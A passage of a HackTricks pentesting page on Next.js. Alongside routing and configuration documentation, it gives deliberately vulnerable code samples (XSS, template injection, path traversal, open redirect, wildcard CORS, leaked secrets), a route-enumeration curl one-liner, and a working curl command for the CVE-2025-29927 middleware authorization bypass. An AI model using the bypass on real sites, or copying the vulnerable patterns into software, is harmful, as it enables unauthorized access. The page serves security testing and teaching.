nextjs.md (53731B)
1 --- 2 title: "Next.js" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/nextjs.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/nextjs.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Next.js 14 15 ## General Architecture of a Next.js Application 16 17 ### Typical File Structure 18 19 A Next.js project commonly follows a file and directory structure that supports routing, request handlers, and static assets. The exact layout depends on whether it uses the App Router, Pages Router, or both. The following example uses the App Router:<sup>[[12]](#references)</sup> 20 21 ```lua 22 my-nextjs-app/ 23 ├── node_modules/ 24 ├── public/ 25 │ ├── images/ 26 │ │ └── logo.png 27 │ └── favicon.ico 28 ├── app/ 29 │ ├── api/ 30 │ │ └── hello/ 31 │ │ └── route.ts 32 │ ├── layout.tsx 33 │ ├── page.tsx 34 │ ├── about/ 35 │ │ └── page.tsx 36 │ ├── dashboard/ 37 │ │ ├── layout.tsx 38 │ │ └── page.tsx 39 │ ├── components/ 40 │ │ ├── Header.tsx 41 │ │ └── Footer.tsx 42 │ ├── styles/ 43 │ │ ├── globals.css 44 │ │ └── Home.module.css 45 │ └── utils/ 46 │ └── api.ts 47 ├── .env.local 48 ├── next.config.js 49 ├── tsconfig.json 50 ├── package.json 51 ├── README.md 52 └── yarn.lock / package-lock.json 53 54 ``` 55 56 ### Core Directories and Files 57 58 - **public/:** Hosts static assets such as images, fonts, and other files. Files here are accessible at the root path (`/`). 59 - **app/:** Central directory for your application’s pages, layouts, components, and API routes. Embraces the **App Router** paradigm, enabling advanced routing features and server-client component segregation. 60 - **app/layout.tsx:** Defines the root layout for your application, wrapping around all pages and providing consistent UI elements like headers, footers, and navigation bars. 61 - **app/page.tsx:** Serves as the entry point for the root route `/`, rendering the home page. 62 - **app/[route]/page.tsx:** Handles static and dynamic routes. Each folder within `app/` represents a route segment, and `page.tsx` within those folders corresponds to the route's component. 63 - **app/api/:** Common location for App Router Route Handlers. These are the App Router equivalent of Pages Router API Routes; their deployment runtime depends on the hosting configuration.<sup>[[12]](#references)</sup> 64 - **app/components/:** Houses reusable React components that can be utilized across different pages and layouts. 65 - **app/styles/:** Contains global CSS files and CSS Modules for component-scoped styling. 66 - **app/utils/:** Includes utility functions, helper modules, and other non-UI logic that can be shared across the application. 67 - **.env.local:** Stores local environment variables. The default template ignores `.env*` files, but verify repository ignore rules rather than assuming the file cannot be committed.<sup>[[14]](#references)</sup> 68 - **next.config.js:** Customizes Next.js behavior, including webpack configurations, environment variables, and security settings. 69 - **tsconfig.json:** Configures TypeScript settings for the project, enabling type checking and other TypeScript features. 70 - **package.json:** Manages project dependencies, scripts, and metadata. 71 - **README.md:** Provides documentation and information about the project, including setup instructions, usage guidelines, and other relevant details. 72 - **yarn.lock / package-lock.json:** Locks the project’s dependencies to specific versions, ensuring consistent installations across different environments. 73 74 ## Client-Side in Next.js 75 76 ### File-Based Routing in the `app` Directory 77 78 The `app` directory is the cornerstone of routing in the latest Next.js versions. It leverages the filesystem to define routes, making route management intuitive and scalable. 79 80 <details> 81 82 <summary>Handling the Root Path /</summary> 83 84 **File Structure:** 85 86 ```text 87 my-nextjs-app/ 88 ├── app/ 89 │ ├── layout.tsx 90 │ └── page.tsx 91 ├── public/ 92 ├── next.config.js 93 └── ... 94 ``` 95 96 **Key Files:** 97 98 - **`app/page.tsx`**: Handles requests to the root path `/`. 99 - **`app/layout.tsx`**: Defines the layout for the application, wrapping around all pages. 100 101 **Implementation:** 102 103 ```tsx 104 // app/page.tsx 105 106 export default function HomePage() { 107 return ( 108 <div> 109 <h1>Welcome to the Home Page!</h1> 110 <p>This is the root route.</p> 111 </div> 112 ); 113 } 114 ``` 115 116 **Explanation:** 117 118 - **Route Definition:** The `page.tsx` file directly under the `app` directory corresponds to the `/` route. 119 - **Rendering:** This component renders the content for the home page. 120 - **Layout Integration:** The `HomePage` component is wrapped by the `layout.tsx`, which can include headers, footers, and other common elements. 121 122 </details> 123 124 <details> 125 126 <summary>Handling Other Static Paths</summary> 127 128 **Example: `/about` Route** 129 130 **File Structure:** 131 132 ```text 133 my-nextjs-app/ 134 ├── app/ 135 │ ├── about/ 136 │ │ └── page.tsx 137 │ ├── layout.tsx 138 │ └── page.tsx 139 ├── public/ 140 ├── next.config.js 141 └── ... 142 ``` 143 144 **Implementation:** 145 146 ```tsx 147 // app/about/page.tsx 148 149 export default function AboutPage() { 150 return ( 151 <div> 152 <h1>About Us</h1> 153 <p>Learn more about our mission and values.</p> 154 </div> 155 ) 156 } 157 ``` 158 159 **Explanation:** 160 161 - **Route Definition:** The `page.tsx` file inside the `about` folder corresponds to the `/about` route. 162 - **Rendering:** This component renders the content for the about page. 163 164 </details> 165 166 <details> 167 168 <summary>Dynamic Routes</summary> 169 170 Dynamic routes allow handling paths with variable segments, enabling applications to display content based on parameters like IDs, slugs, etc. 171 172 **Example: `/posts/[id]` Route** 173 174 **File Structure:** 175 176 ```text 177 my-nextjs-app/ 178 ├── app/ 179 │ ├── posts/ 180 │ │ └── [id]/ 181 │ │ └── page.tsx 182 │ ├── layout.tsx 183 │ └── page.tsx 184 ├── public/ 185 ├── next.config.js 186 └── ... 187 ``` 188 189 **Implementation:** 190 191 ```tsx 192 // app/posts/[id]/page.tsx 193 194 import { useRouter } from 'next/navigation'; 195 196 interface PostProps { 197 params: { id: string }; 198 } 199 200 export default function PostPage({ params }: PostProps) { 201 const { id } = params; 202 // Fetch post data based on 'id' 203 204 return ( 205 <div> 206 <h1>Post #{id}</h1> 207 <p>This is the content of post {id}.</p> 208 </div> 209 ); 210 } 211 ``` 212 213 **Explanation:** 214 215 - **Dynamic Segment:** `[id]` denotes a dynamic segment in the route, capturing the `id` parameter from the URL. 216 - **Accessing Parameters:** The `params` object contains the dynamic parameters, accessible within the component. 217 - **Route Matching:** Any path matching `/posts/*`, such as `/posts/1`, `/posts/abc`, etc., will be handled by this component. 218 219 </details> 220 221 <details> 222 223 <summary>Nested Routes</summary> 224 225 Next.js supports nested routing, allowing for hierarchical route structures that mirror the directory layout. 226 227 **Example: `/dashboard/settings/profile` Route** 228 229 **File Structure:** 230 231 ```text 232 my-nextjs-app/ 233 ├── app/ 234 │ ├── dashboard/ 235 │ │ ├── settings/ 236 │ │ │ └── profile/ 237 │ │ │ └── page.tsx 238 │ │ └── page.tsx 239 │ ├── layout.tsx 240 │ └── page.tsx 241 ├── public/ 242 ├── next.config.js 243 └── ... 244 ``` 245 246 **Implementation:** 247 248 ```tsx 249 // app/dashboard/settings/profile/page.tsx 250 251 export default function ProfileSettingsPage() { 252 return ( 253 <div> 254 <h1>Profile Settings</h1> 255 <p>Manage your profile information here.</p> 256 </div> 257 ); 258 } 259 ``` 260 261 **Explanation:** 262 263 - **Deep Nesting:** The `page.tsx` file inside `dashboard/settings/profile/` corresponds to the `/dashboard/settings/profile` route. 264 - **Hierarchy Reflection:** The directory structure reflects the URL path, enhancing maintainability and clarity. 265 266 </details> 267 268 <details> 269 270 <summary>Catch-All Routes</summary> 271 272 Catch-all routes handle multiple nested segments or unknown paths, providing flexibility in route handling. 273 274 **Example: `/*` Route** 275 276 **File Structure:** 277 278 ```text 279 my-nextjs-app/ 280 ├── app/ 281 │ ├── [...slug]/ 282 │ │ └── page.tsx 283 │ ├── layout.tsx 284 │ └── page.tsx 285 ├── public/ 286 ├── next.config.js 287 └── ... 288 ``` 289 290 **Implementation:** 291 292 ```tsx 293 // app/[...slug]/page.tsx 294 295 interface CatchAllProps { 296 params: { slug: string[] } 297 } 298 299 export default function CatchAllPage({ params }: CatchAllProps) { 300 const { slug } = params 301 const fullPath = `/${slug.join("/")}` 302 303 return ( 304 <div> 305 <h1>Catch-All Route</h1> 306 <p>You have navigated to: {fullPath}</p> 307 </div> 308 ) 309 } 310 ``` 311 312 **Explanation:** 313 314 - **Catch-All Segment:** `[...slug]` captures all remaining path segments as an array. 315 - **Usage:** Useful for handling dynamic routing scenarios like user-generated paths, nested categories, etc. 316 - **Route Matching:** Paths like `/anything/here`, `/foo/bar/baz`, etc., are handled by this component. 317 318 </details> 319 320 ### Potential Client-Side Vulnerabilities 321 322 While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. Key client-side vulnerabilities include: 323 324 <details> 325 326 <summary>Cross-Site Scripting (XSS)</summary> 327 328 XSS attacks occur when malicious scripts are injected into trusted websites. Attackers can execute scripts in users' browsers, stealing data or performing actions on behalf of the user. 329 330 **Example of Vulnerable Code:** 331 332 ```jsx 333 // Dangerous: Injecting user input directly into HTML 334 function Comment({ userInput }) { 335 return <div dangerouslySetInnerHTML={{ __html: userInput }} /> 336 } 337 ``` 338 339 **Why It's Vulnerable:** Using `dangerouslySetInnerHTML` with untrusted input allows attackers to inject malicious scripts. 340 341 </details> 342 343 <details> 344 345 <summary>Client-Side Template Injection</summary> 346 347 Occurs when user inputs are improperly handled in templates, allowing attackers to inject and execute templates or expressions. 348 349 **Example of Vulnerable Code:** 350 351 ```jsx 352 import React from "react" 353 import ejs from "ejs" 354 355 function RenderTemplate({ template, data }) { 356 const html = ejs.render(template, data) 357 return <div dangerouslySetInnerHTML={{ __html: html }} /> 358 } 359 ``` 360 361 **Why It's Vulnerable:** If `template` or `data` includes malicious content, it can lead to execution of unintended code. 362 363 </details> 364 365 <details> 366 367 <summary>Client Path Traversal</summary> 368 369 Client-side path traversal (CSPT) occurs when attacker-controlled input is interpolated into a client-generated request path. Dot segments can redirect an otherwise legitimate, credentialed request to a different application endpoint. When that endpoint changes state, CSPT can provide a CSRF-like primitive; unlike server-side filesystem traversal, the manipulated path is an HTTP route. 370 371 **Example of Vulnerable Code:** 372 373 A Next.js application allows users to upload and download files. The download feature is implemented on the client side, where users can specify the file path to download. 374 375 ```jsx 376 // pages/download.js 377 import { useState } from "react" 378 379 export default function DownloadPage() { 380 const [filePath, setFilePath] = useState("") 381 382 const handleDownload = () => { 383 fetch(`/api/files/${filePath}`) 384 .then((response) => response.blob()) 385 .then((blob) => { 386 const url = window.URL.createObjectURL(blob) 387 const a = document.createElement("a") 388 a.href = url 389 a.download = filePath 390 a.click() 391 }) 392 } 393 394 return ( 395 <div> 396 <h1>Download File</h1> 397 <input 398 type="text" 399 value={filePath} 400 onChange={(e) => setFilePath(e.target.value)} 401 placeholder="Enter file path" 402 /> 403 <button onClick={handleDownload}>Download</button> 404 </div> 405 ) 406 } 407 ``` 408 409 #### Attack Scenario 410 411 1. **Attacker's Objective**: Perform a CSRF attack to delete a critical file (e.g., `admin/config.json`) by manipulating the `filePath`. 412 2. **Exploiting CSPT**: 413 - **Malicious Input**: The attacker crafts a URL with a manipulated `filePath` such as `../deleteFile/config.json`. 414 - **Resulting API Call**: The client-side code makes a request to `/api/files/../deleteFile/config.json`. 415 - **Server's Handling**: If the server does not validate the `filePath`, it processes the request, potentially deleting or exposing sensitive files. 416 3. **Executing CSRF**: 417 - **Crafted Link**: The attacker sends the victim a link or embeds a malicious script that triggers the download request with the manipulated `filePath`. 418 - **Outcome**: The victim unknowingly executes the action, leading to unauthorized file access or deletion. 419 420 #### Why It's Vulnerable 421 422 - **Lack of Input Validation**: The client-side allows arbitrary `filePath` inputs, enabling path traversal. 423 - **Trusting Client Inputs**: The server-side API trusts and processes the `filePath` without sanitization. 424 - **Potential API Actions**: If the API endpoint performs state-changing actions (e.g., delete, modify files), it can be exploited via CSPT. 425 426 </details> 427 428 ### Recon: static export route discovery via _buildManifest 429 430 When `nextExport`/`autoExport` are true (static export), Next.js exposes the `buildId` in the HTML and serves a build manifest at `/_next/static/<buildId>/_buildManifest.js`. The `sortedPages` array and route→chunk mapping there enumerate every prerendered page without brute force.<sup>[[5]](#references)</sup> 431 432 - Grab the buildId from the root response (often printed at the bottom) or from `<script>` tags loading `/_next/static/<buildId>/...`. 433 - Fetch the manifest and extract routes: 434 435 ```bash 436 build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"') 437 curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"' 438 ``` 439 440 - Use the discovered paths (for example `/docs`, `/docs/content/examples`, `/signin`) to drive auth testing and endpoint discovery. 441 442 ## Server-Side in Next.js 443 444 ### Server-Side Rendering (SSR) 445 446 With request-time server-side rendering, a page is rendered on the server for each request and returned as HTML. The built-in Next.js server supports this model; a custom server is only needed for requirements the built-in server cannot meet. 447 448 **Use Cases:** 449 450 - Dynamic content that changes frequently. 451 - SEO optimization, as search engines can crawl the fully rendered page. 452 453 **Implementation:** 454 455 ```jsx 456 // pages/index.js 457 export async function getServerSideProps(context) { 458 const res = await fetch("https://api.example.com/data") 459 const data = await res.json() 460 return { props: { data } } 461 } 462 463 function HomePage({ data }) { 464 return <div>{data.title}</div> 465 } 466 467 export default HomePage 468 ``` 469 470 ### Static Site Generation (SSG) 471 472 Pages are pre-rendered at build time, resulting in faster load times and reduced server load. 473 474 **Use Cases:** 475 476 - Content that doesn't change frequently. 477 - Blogs, documentation, marketing pages. 478 479 **Implementation:** 480 481 ```jsx 482 // pages/index.js 483 export async function getStaticProps() { 484 const res = await fetch("https://api.example.com/data") 485 const data = await res.json() 486 return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds 487 } 488 489 function HomePage({ data }) { 490 return <div>{data.title}</div> 491 } 492 493 export default HomePage 494 ``` 495 496 ### Serverless Functions (API Routes) 497 498 Next.js supports API endpoints through App Router Route Handlers and Pages Router API Routes. Platforms may deploy them as serverless functions, but they can also run in a persistent Node.js server.<sup>[[12]](#references)</sup> 499 500 **Use Cases:** 501 502 - Handling form submissions. 503 - Interacting with databases. 504 - Processing data or integrating with third-party APIs. 505 506 **Implementation:** 507 508 With the introduction of the `app` directory in Next.js 13, routing and API handling have become more flexible and powerful. This modern approach aligns closely with the file-based routing system but introduces enhanced capabilities, including support for server and client components. 509 510 #### Basic Route Handler 511 512 **File Structure:** 513 514 ```go 515 my-nextjs-app/ 516 ├── app/ 517 │ └── api/ 518 │ └── hello/ 519 │ └── route.js 520 ├── package.json 521 └── ... 522 ``` 523 524 **Implementation:** 525 526 ```javascript 527 // app/api/hello/route.js 528 529 export async function POST(request) { 530 return new Response(JSON.stringify({ message: "Hello from App Router!" }), { 531 status: 200, 532 headers: { "Content-Type": "application/json" }, 533 }) 534 } 535 536 // Client-side fetch to access the API endpoint 537 fetch("/api/submit", { 538 method: "POST", 539 headers: { "Content-Type": "application/json" }, 540 body: JSON.stringify({ name: "John Doe" }), 541 }) 542 .then((res) => res.json()) 543 .then((data) => console.log(data)) 544 ``` 545 546 **Explanation:** 547 548 - **Location:** API routes are placed under the `app/api/` directory. 549 - **File Naming:** Each API endpoint resides in its own folder containing a `route.js` or `route.ts` file. 550 - **Exported Functions:** Instead of a single default export, specific HTTP method functions (e.g., `GET`, `POST`) are exported. 551 - **Response Handling:** Use the `Response` constructor to return responses, allowing more control over headers and status codes. 552 553 #### How to handle other paths and methods: 554 555 <details> 556 557 <summary>Handling Specific HTTP Methods</summary> 558 559 Next.js 13+ allows you to define handlers for specific HTTP methods within the same `route.js` or `route.ts` file, promoting clearer and more organized code. 560 561 **Example:** 562 563 ```javascript 564 // app/api/users/[id]/route.js 565 566 export async function GET(request, { params }) { 567 const { id } = params 568 // Fetch user data based on 'id' 569 return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), { 570 status: 200, 571 headers: { "Content-Type": "application/json" }, 572 }) 573 } 574 575 export async function PUT(request, { params }) { 576 const { id } = params 577 // Update user data based on 'id' 578 return new Response(JSON.stringify({ message: `User ${id} updated.` }), { 579 status: 200, 580 headers: { "Content-Type": "application/json" }, 581 }) 582 } 583 584 export async function DELETE(request, { params }) { 585 const { id } = params 586 // Delete user based on 'id' 587 return new Response(JSON.stringify({ message: `User ${id} deleted.` }), { 588 status: 200, 589 headers: { "Content-Type": "application/json" }, 590 }) 591 } 592 ``` 593 594 **Explanation:** 595 596 - **Multiple Exports:** Each HTTP method (`GET`, `PUT`, `DELETE`) has its own exported function. 597 - **Parameters:** The second argument provides access to route parameters via `params`. 598 - **Enhanced Responses:** Greater control over response objects, enabling precise header and status code management. 599 600 </details> 601 602 <details> 603 604 <summary>Catch-All and Nested Routes</summary> 605 606 Next.js 13+ supports advanced routing features like catch-all routes and nested API routes, allowing for more dynamic and scalable API structures. 607 608 **Catch-All Route Example:** 609 610 ```javascript 611 // app/api/[...slug]/route.js 612 613 export async function GET(request, { params }) { 614 const { slug } = params 615 // Handle dynamic nested routes 616 return new Response(JSON.stringify({ slug }), { 617 status: 200, 618 headers: { "Content-Type": "application/json" }, 619 }) 620 } 621 ``` 622 623 **Explanation:** 624 625 - **Syntax:** `[...]` denotes a catch-all segment, capturing all nested paths. 626 - **Usage:** Useful for APIs that need to handle varying route depths or dynamic segments. 627 628 **Nested Routes Example:** 629 630 ```javascript 631 // app/api/posts/[postId]/comments/[commentId]/route.js 632 633 export async function GET(request, { params }) { 634 const { postId, commentId } = params 635 // Fetch specific comment for a post 636 return new Response( 637 JSON.stringify({ postId, commentId, comment: "Great post!" }), 638 { 639 status: 200, 640 headers: { "Content-Type": "application/json" }, 641 } 642 ) 643 } 644 ``` 645 646 **Explanation:** 647 648 - **Deep Nesting:** Allows for hierarchical API structures, reflecting resource relationships. 649 - **Parameter Access:** Easily access multiple route parameters via the `params` object. 650 651 </details> 652 653 <details> 654 655 <summary>Handling API routes in Next.js 12 and Earlier</summary> 656 657 ## API Routes in the `pages` Directory (Next.js 12 and Earlier) 658 659 Before Next.js 13 introduced the `app` directory and enhanced routing capabilities, API routes were primarily defined within the `pages` directory. This approach is still widely used and supported in Next.js 12 and earlier versions. 660 661 #### Basic API Route 662 663 **File Structure:** 664 665 ```go 666 my-nextjs-app/ 667 ├── pages/ 668 │ └── api/ 669 │ └── hello.js 670 ├── package.json 671 └── ... 672 ``` 673 674 **Implementation:** 675 676 ```javascript 677 // pages/api/hello.js 678 679 export default function handler(req, res) { 680 res.status(200).json({ message: 'Hello, World!' }); 681 } 682 ``` 683 684 **Explanation:** 685 686 - **Location:** API routes reside under the `pages/api/` directory. 687 - **Export:** Use `export default` to define the handler function. 688 - **Function Signature:** The handler receives `req` (HTTP request) and `res` (HTTP response) objects. 689 - **Routing:** The file name (`hello.js`) maps to the endpoint `/api/hello`. 690 691 #### Dynamic API Routes 692 693 **File Structure:** 694 695 ```bash 696 my-nextjs-app/ 697 ├── pages/ 698 │ └── api/ 699 │ └── users/ 700 │ └── [id].js 701 ├── package.json 702 └── ... 703 ``` 704 705 **Implementation:** 706 707 ```javascript 708 // pages/api/users/[id].js 709 710 export default function handler(req, res) { 711 const { 712 query: { id }, 713 method, 714 } = req; 715 716 switch (method) { 717 case 'GET': 718 // Fetch user data based on 'id' 719 res.status(200).json({ userId: id, name: 'John Doe' }); 720 break; 721 case 'PUT': 722 // Update user data based on 'id' 723 res.status(200).json({ message: `User ${id} updated.` }); 724 break; 725 case 'DELETE': 726 // Delete user based on 'id' 727 res.status(200).json({ message: `User ${id} deleted.` }); 728 break; 729 default: 730 res.setHeader('Allow', ['GET', 'PUT', 'DELETE']); 731 res.status(405).end(`Method ${method} Not Allowed`); 732 } 733 } 734 ``` 735 736 **Explanation:** 737 738 - **Dynamic Segments:** Square brackets (`[id].js`) denote dynamic route segments. 739 - **Accessing Parameters:** Use `req.query.id` to access the dynamic parameter. 740 - **Handling Methods:** Utilize conditional logic to handle different HTTP methods (`GET`, `PUT`, `DELETE`, etc.). 741 742 #### Handling Different HTTP Methods 743 744 While the basic API route example handles all HTTP methods within a single function, you can structure your code to handle each method explicitly for better clarity and maintainability. 745 746 **Example:** 747 748 ```javascript 749 // pages/api/posts.js 750 751 export default async function handler(req, res) { 752 const { method } = req; 753 754 switch (method) { 755 case 'GET': 756 // Handle GET request 757 res.status(200).json({ message: 'Fetching posts.' }); 758 break; 759 case 'POST': 760 // Handle POST request 761 res.status(201).json({ message: 'Post created.' }); 762 break; 763 default: 764 res.setHeader('Allow', ['GET', 'POST']); 765 res.status(405).end(`Method ${method} Not Allowed`); 766 } 767 } 768 ``` 769 770 **Best Practices:** 771 772 - **Separation of Concerns:** Clearly separate logic for different HTTP methods. 773 - **Response Consistency:** Ensure consistent response structures for ease of client-side handling. 774 - **Error Handling:** Gracefully handle unsupported methods and unexpected errors. 775 776 </details> 777 778 ### CORS Configuration 779 780 Control which origins can access your API routes, mitigating Cross-Origin Resource Sharing (CORS) vulnerabilities. 781 782 **Bad Configuration Example:** 783 784 ```javascript 785 // app/api/data/route.js 786 787 export async function GET(request) { 788 return new Response(JSON.stringify({ data: "Public Data" }), { 789 status: 200, 790 headers: { 791 "Access-Control-Allow-Origin": "*", // Allows any origin 792 "Access-Control-Allow-Methods": "GET, POST, PUT, DELETE", 793 }, 794 }) 795 } 796 ``` 797 798 CORS headers can also be applied centrally to matching API routes in **`middleware.ts`**: 799 800 ```javascript 801 // app/middleware.ts 802 803 import { NextResponse } from "next/server" 804 import type { NextRequest } from "next/server" 805 806 export function middleware(request: NextRequest) { 807 const allowedOrigins = [ 808 "https://yourdomain.com", 809 "https://sub.yourdomain.com", 810 ] 811 const origin = request.headers.get("Origin") 812 813 const response = NextResponse.next() 814 815 if (allowedOrigins.includes(origin || "")) { 816 response.headers.set("Access-Control-Allow-Origin", origin || "") 817 response.headers.set( 818 "Access-Control-Allow-Methods", 819 "GET, POST, PUT, DELETE, OPTIONS" 820 ) 821 response.headers.set( 822 "Access-Control-Allow-Headers", 823 "Content-Type, Authorization" 824 ) 825 // If credentials are needed: 826 // response.headers.set('Access-Control-Allow-Credentials', 'true'); 827 } 828 829 // Handle preflight requests 830 if (request.method === "OPTIONS") { 831 return new Response(null, { 832 status: 204, 833 headers: response.headers, 834 }) 835 } 836 837 return response 838 } 839 840 export const config = { 841 matcher: "/api/:path*", // Apply to all API routes 842 } 843 ``` 844 845 **Problem:** 846 847 - **`Access-Control-Allow-Origin: '*'`:** Lets any origin read non-credentialed responses. This is appropriate for intentionally public data but dangerous when the response was expected to be origin-restricted. 848 - **Wide method allowance:** Advertising methods that the application does not need expands the cross-origin interface. Actual impact still depends on preflight behavior, credential policy, and server-side authorization. 849 850 **How attackers exploit it:** 851 852 Attackers can craft websites that make cross-origin requests to the API. Whether they can read data or act with a victim's credentials depends on the complete CORS policy, cookie attributes, and endpoint authorization. 853 854 [Cors Bypass](/hacktricks/pentesting-web/cors-bypass) 855 856 ### Server code exposure in Client Side 857 858 Modules can accidentally be shared between server and client components. Mark a module as server-only so that importing it into a client component produces a build-time error:<sup>[[13]](#references)</sup> 859 860 ```javascript 861 import "server-only" 862 ``` 863 864 ## Key Files and Their Roles 865 866 ### `middleware.ts` / `middleware.js` 867 868 **Location:** Root of the project or within `src/`. 869 870 **Purpose:** Executes code in the server-side serverless function before a request is processed, allowing for tasks like authentication, redirects, or modifying responses. 871 872 **Execution Flow:** 873 874 1. **Incoming Request:** The middleware intercepts the request. 875 2. **Processing:** Performs operations based on the request (e.g., check authentication). 876 3. **Response Modification:** Can alter the response or pass control to the next handler. 877 878 **Example Use Cases:** 879 880 - Redirecting unauthenticated users. 881 - Adding custom headers. 882 - Logging requests. 883 884 **Sample Configuration:** 885 886 ```typescript 887 // middleware.ts 888 import { NextResponse } from "next/server" 889 import type { NextRequest } from "next/server" 890 891 export function middleware(req: NextRequest) { 892 const url = req.nextUrl.clone() 893 if (!req.cookies.has("token")) { 894 url.pathname = "/login" 895 return NextResponse.redirect(url) 896 } 897 return NextResponse.next() 898 } 899 900 export const config = { 901 matcher: ["/protected/:path*"], 902 } 903 ``` 904 905 ### Middleware authorization bypass (CVE-2025-29927) 906 907 If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the `x-middleware-subrequest` header. The framework will skip middleware recursion and return the protected page.<sup>[[5]](#references)</sup> 908 909 - Baseline behavior is typically a 307 redirect to a login route like `/api/auth/signin`. 910 - Send a long `x-middleware-subrequest` value (repeat `middleware` to hit `MAX_RECURSION_DEPTH`) to flip the response to 200: 911 912 ```bash 913 curl -i "http://target/docs" \ 914 -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" 915 ``` 916 917 - Because authenticated pages pull many subresources, add the header to every request (e.g., Burp Match/Replace with an empty match string) to keep assets from redirecting. 918 919 ### `next.config.js` 920 921 **Location:** Root of the project. 922 923 **Purpose:** Configures Next.js behavior, enabling or disabling features, customizing webpack configurations, setting environment variables, and configuring several security features. 924 925 **Key Security Configurations:** 926 927 <details> 928 929 <summary>Security Headers</summary> 930 931 Security headers enhance the security of your application by instructing browsers on how to handle content. They help mitigate various attacks like Cross-Site Scripting (XSS), Clickjacking, and MIME type sniffing: 932 933 - Content Security Policy (CSP) 934 - X-Frame-Options 935 - X-Content-Type-Options 936 - Strict-Transport-Security (HSTS) 937 - Referrer Policy 938 939 **Examples:** 940 941 ```javascript 942 // next.config.js 943 944 module.exports = { 945 async headers() { 946 return [ 947 { 948 source: "/(.*)", // Apply to all routes 949 headers: [ 950 { 951 key: "X-Frame-Options", 952 value: "DENY", 953 }, 954 { 955 key: "Content-Security-Policy", 956 value: 957 "default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';", 958 }, 959 { 960 key: "X-Content-Type-Options", 961 value: "nosniff", 962 }, 963 { 964 key: "Strict-Transport-Security", 965 value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS 966 }, 967 { 968 key: "Referrer-Policy", 969 value: "no-referrer", // Completely hides referrer 970 }, 971 // Additional headers... 972 ], 973 }, 974 ] 975 }, 976 } 977 ``` 978 979 </details> 980 981 <details> 982 983 <summary>Image Optimization Settings</summary> 984 985 Next.js optimizes remote images, but overly broad source patterns can let attackers make the optimizer fetch URLs you did not intend. Prefer narrowly scoped `remotePatterns`.<sup>[[15]](#references)</sup> 986 987 **Bad Configuration Example:** 988 989 ```javascript 990 // next.config.js 991 992 module.exports = { 993 images: { 994 remotePatterns: [{ hostname: "**" }], // Overly broad: any hostname/protocol/path 995 }, 996 } 997 ``` 998 999 **Problem:** 1000 1001 - **`hostname: "**"` with omitted restrictions:** permits optimization from arbitrary external sources instead of constraining the protocol, host, path, and query string. 1002 - A similarly risky pattern allows a domain **where any user can upload content** (for example, `raw.githubusercontent.com`) without restricting the pathname. 1003 1004 **How attackers abuse it:** 1005 1006 Depending on how the application accepts image URLs, attackers may consume optimizer bandwidth, make the server fetch unintended resources, or display misleading content. Treat the optimizer as a server-side fetch surface and test the exact allowed patterns. 1007 1008 </details> 1009 1010 <details> 1011 1012 <summary>Environment Variables Exposure</summary> 1013 1014 Manage sensitive information like API keys and database credentials securely without exposing them to the client. 1015 1016 #### a. Exposing Sensitive Variables 1017 1018 **Bad Configuration Example:** 1019 1020 ```javascript 1021 // next.config.js 1022 1023 module.exports = { 1024 env: { 1025 SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed: next.config.js env values enter the JS bundle 1026 NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, 1027 }, 1028 } 1029 ``` 1030 1031 **Problem:** 1032 1033 - **`SECRET_API_KEY`:** Values declared under the `env` key in `next.config.js` are always included in the JavaScript bundle, regardless of their name. For variables loaded normally from the process or `.env` files, `NEXT_PUBLIC_` is what opts a value into browser bundling.<sup>[[14]](#references)</sup> 1034 1035 **How attackers abuse it:** 1036 1037 If sensitive variables are exposed to the client, attackers can retrieve them by inspecting the client-side code or network requests, gaining unauthorized access to APIs, databases, or other services. 1038 1039 </details> 1040 1041 <details> 1042 1043 <summary>Redirects</summary> 1044 1045 Manage URL redirections and rewrites within your application, ensuring that users are directed appropriately without introducing open redirect vulnerabilities. 1046 1047 #### a. Open Redirect Vulnerability 1048 1049 **Bad Configuration Example:** 1050 1051 ```javascript 1052 // app/redirect/route.js 1053 import { NextResponse } from "next/server" 1054 1055 export function GET(request) { 1056 const destination = request.nextUrl.searchParams.get("url") 1057 return NextResponse.redirect(destination) // Vulnerable: no destination allowlist 1058 } 1059 ``` 1060 1061 **Problem:** 1062 1063 - **Dynamic Destination:** Allows users to specify any URL, enabling open redirect attacks. 1064 - **Trusting User Input:** Redirects to URLs provided by users without validation can lead to phishing, malware distribution, or credential theft. 1065 1066 **How attackers abuse it:** 1067 1068 Attackers can craft URLs that appear to originate from your domain but redirect users to malicious sites. For example: 1069 1070 ```bash 1071 https://yourdomain.com/redirect?url=https://malicious-site.com 1072 ``` 1073 1074 Users trusting the original domain might unknowingly navigate to harmful websites. 1075 1076 </details> 1077 1078 <details> 1079 1080 <summary>Webpack Configuration</summary> 1081 1082 Customize Webpack configurations for your Next.js application, which can inadvertently introduce security vulnerabilities if not handled cautiously. 1083 1084 #### a. Exposing Sensitive Modules 1085 1086 **Bad Configuration Example:** 1087 1088 ```javascript 1089 // next.config.js 1090 1091 module.exports = { 1092 webpack: (config, { isServer }) => { 1093 if (!isServer) { 1094 config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder") 1095 } 1096 return config 1097 }, 1098 } 1099 ``` 1100 1101 **Problem:** 1102 1103 - **Exposing Sensitive Paths:** Aliasing sensitive directories and allowing client-side access can leak confidential information. 1104 - **Bundling Secrets:** If sensitive files are bundled for the client, their contents become accessible through source maps or inspecting the client-side code. 1105 1106 **How attackers abuse it:** 1107 1108 Attackers can access or reconstruct the application's directory structure, potentially finding and exploiting sensitive files or data. 1109 1110 </details> 1111 1112 ### `pages/_app.js` and `pages/_document.js` 1113 1114 #### 